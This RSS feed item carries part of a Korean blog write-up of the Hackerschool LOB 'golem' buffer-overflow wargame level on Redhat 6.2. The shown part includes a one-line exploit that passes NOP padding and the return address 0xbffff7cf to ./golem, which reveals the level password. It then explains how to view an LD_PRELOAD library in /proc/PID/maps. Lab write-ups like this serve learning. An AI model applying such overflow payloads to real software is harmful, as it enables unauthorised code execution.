&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1140&quot; data-origin-height=&quot;413&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SBOf7/btsEy5BZDpd/NjEintE4fLHFmdVQzf8d4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SBOf7/btsEy5BZDpd/NjEintE4fLHFmdVQzf8d4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SBOf7/btsEy5BZDpd/NjEintE4fLHFmdVQzf8d4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSBOf7%2FbtsEy5BZDpd%2FNjEintE4fLHFmdVQzf8d4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1140&quot; height=&quot;413&quot; data-origin-width=&quot;1140&quot; data-origin-height=&quot;413&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;현재 segmentation fault가 발생한 주소보다 공유 라이브러리 영역은 더 작은 주소 쪽에 있으므로 ESP 값에서 임의의 값을 빼 공유 라이브러리 영역을 보면 셸코드가 있는 주소는 0xbffff7cf이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;737&quot; data-origin-height=&quot;127&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJjNoU/btsEy26jYl6/ETfbwgFU614ZQ660pwIgQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJjNoU/btsEy26jYl6/ETfbwgFU614ZQ660pwIgQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJjNoU/btsEy26jYl6/ETfbwgFU614ZQ660pwIgQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJjNoU%2FbtsEy26jYl6%2FETfbwgFU614ZQ660pwIgQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;737&quot; height=&quot;127&quot; data-origin-width=&quot;737&quot; data-origin-height=&quot;127&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707303024913&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./golem `python -c 'print &quot;\x90&quot; * 44 + &quot;\xcf\xf7\xff\xbf&quot;'`&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;0xbffff7cf 주소로 반환하도록 payload를 인자로 보내며 golem을 실행하면 golem의 password인 cup of coffee를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;LD_PRELOAD로 등록시킨 라이브러리가 올라갔을 때의 메모리 맵 보는 방법 예시&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1217&quot; data-origin-height=&quot;756&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Rjitl/btsEAT8Wg11/eVe6pQByKFOEqHK9dJZoR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Rjitl/btsEAT8Wg11/eVe6pQByKFOEqHK9dJZoR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Rjitl/btsEAT8Wg11/eVe6pQByKFOEqHK9dJZoR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRjitl%2FbtsEAT8Wg11%2FeVe6pQByKFOEqHK9dJZoR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1217&quot; height=&quot;756&quot; data-origin-width=&quot;1217&quot; data-origin-height=&quot;756&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707303283568&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bash2 

ps

cat /proc/[프로세스의 번호]/maps&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이전에 위헤서 export로 라이브러리를 로딩시켰기 때문에 export는 생략하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;라이브러리를 로딩한 상태의 메모리 맵을 보는 것이 목표이므로 새로 bash2를 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(이전에 실행 중인 bash2는 새로 등록한 라이브러리가 로딩되어 있지 않은 상태이므로 메모리맵에서 해당 라이브러리를 확인할 수 없다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 cat 명령어를 이용해 메모리 맵을보면 새로 등록한 라이브러리를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>전쟁/hackerschool lob Redhat 6.2</category>
      <author>Sean(slay)</author>
      <guid isPermaLink="true">https://sean.tistory.com/489</guid>
      <comments>https://sean.tistory.com/489#entry489comment</comments>
      <pubDate>Wed, 7 Feb 2024 19:59:24 +0900</pubDate>
    </item>
  </channel>
</rss>